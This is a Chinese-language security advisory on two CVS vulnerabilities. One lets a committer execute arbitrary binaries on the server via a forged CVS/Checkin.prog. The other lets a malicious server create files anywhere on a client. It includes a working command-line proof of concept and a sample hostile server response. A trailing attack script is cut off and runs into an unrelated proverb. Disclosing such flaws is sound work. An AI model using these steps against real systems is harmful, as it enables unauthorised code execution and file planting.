UNIX CVS 服务器的漏洞

  内容: CVS包括两个新的安全漏洞,一个允许任意的代码的执行,而另一个在操作系统上任何地方允许文件的生成。前者是客户端在CVS服务器上开始的攻击,而后者是对CVS客户端的攻击。 committer能在使用CVS/Checkin.prog或CVS/Update.prog的服务器里执行任何的二进制代码。 committer能在在使用Checkin.prog的CVS服务器上实行任意的二进制。通常,当工作目录被检查的时候,目录里的CVS/Checkin.prog从CVSROOT/modules被复制并提交给服务器非法执行。注意当它被执行的时候,被提交的文件还留在当前目录中这一点。因为工作目录能被有适当权限的非法用户修改。Checkin.prog可以被修改,或者更可以被删除后重新创建,,并且,CVS服务器将执行这伪造的Checkin.prog。注意非法用户能通过`cvs add -kb’和`cvs commit’的方式创建任意的二进制文件。这样,攻击者能通过`cvs commit’的方式激活Checkin.prog从而轻易的执行已被预编译的二进制代码。注意用CVS/Update.prog存在类似的问题这一点。下面的例子就是一个非法用户提交给服务器`ls`二进制代码并让其执行的过程(假定服务器和客户端具有相同的体系结构)。 % cvs -d :pserver:test@localhost:/tmp/cvs -f co somemodule cvs server: Updating somemodule % cd somemodule % cp /bin/ls binary % cvs add -kb binary cvs server: scheduling file `binary’ for addition cvs server: use ‘cvs commit’ to add this file permanently % echo ./binary > CVS/Checkin.prog % cvs commit -m ‘test’ cvs commit: Examining . RCS file: /tmp/cvs/somemodule/binary,v done Checking in binary; /tmp/cvs/somemodule/binary,v cvs.wfl.serein.m17n.org.14330 binary,v CVS服务器能被命令在客户端机器上任何位置创建任何文件。 根据CVS协议,客户端的读写路径是由服务器处理生成,并且客户端完全信任服务器提供的路径。例如:假设客户端试图检查`tst`模块: % cvs -f -d :ext:user@server:/cvsroot co tst 并且,服务器包括象下面这样危险的响应在内: Created /tmp/ /cvsroot/tst/foo /foo/1.1/// u=rw,g=rw,o=rw 4 abc The client creates /tmp/foo. 下述内容是一个这样攻击的例子,尽管这个例子使用扩充文件系统ext使服务器运行伪造的CVS.方法,任何针对这个漏洞的方法都可以(当然包括PSERVER). % ls -l /tmp/foo ls: /tmp/foo: No such file or directory % cat crackers-cvs-server #!/bin/sh cat 别想一下造出大海,必须先由小河川开始。

UNIX CVS 服务器的漏洞

相关文章:

你感兴趣的文章:

标签云: